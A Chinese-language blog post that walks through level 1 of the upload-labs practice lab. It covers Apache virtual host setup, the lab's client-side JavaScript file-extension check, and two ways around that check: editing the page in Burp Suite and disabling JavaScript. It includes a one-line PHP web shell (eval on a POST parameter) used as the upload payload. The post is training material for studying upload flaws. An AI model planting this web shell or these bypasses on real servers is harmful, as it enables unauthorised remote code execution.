动态线条
动态线条end

文件上传:JS验证及绕过

配置Apache虚拟主机

修改httpd文件内容(搜索一下内容,并删除开头注释)

LoadModule vhost_alias_module modules/mod_vhost_alias.so
Include conf/extra/httpd-vhosts.conf

修改httpd-hosts.conf文件

<VirtualHost *:80>
    ServerAdmin webmaster@dummy-host2.example.com					#服务主机
    DocumentRoot "E:\phpStudy2016\WWW\upload-labs"					#源码位置
    ServerName www.upload.com										#域名
    ErrorLog "logs/dummy-host2.example.com-error.log"				#错误日志
    CustomLog "logs/dummy-host2.example.com-access.log" common
</VirtualHost>

一句话木马

<?php
eval ($_POST['pass']);
?>

在上传文件,点击提交时,进行调用该约束文件函数

image-20211111154054735

方法具体内容(筛选过滤上传文件类型)

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif"; //重点重点重点重点重点重点重点重点重点重点
        //提取上传文件的类型
    	//方法返回一个字符串在开始索引到结束索引之间的一个子集, 或从开始索引直到字符串的末尾的一个子集。
        var ext_name = file.substring(file.lastIndexOf("."));//根据文件名中的'。'将文件后缀切割出来
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {//判断文件后缀是否合法
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);//弹窗
            return false;
        }
    }
</script>

第一关绕过过程

方法一:

设置拦截响应的网页内容,并修改网页源码,放行至浏览器显示

如果不进行勾选,那么无法拦截服务器响应回来的网页数据

image-20211111162502612

burpsuite中更改页面源码,致使js验证失效

image-20211111162616271

更改过后在浏览器中查看源码,修改成功

image-20211111163933179

复制图片地址

image-20211111162908474

链接成功

image-20211111173118447

方法二

关闭浏览器的js运行

image-20211111180524293

image-20211111180636669

image-20211111180657921

image-20211111180712958

直接关闭网页的js验证

总结:前端验证绕过,关键是禁止验证js代码失效,方法一指定失效代码内容,方法二是使全部js代码内容失效。方法二可能产生一些不可预测的网页错误,因为禁止了所有的js代码。推荐使用方法一,更改指定js代码,其他代码不变。

posted @ 2022-01-26 18:57  v1v1v1  阅读(343)  评论(0编辑  收藏  举报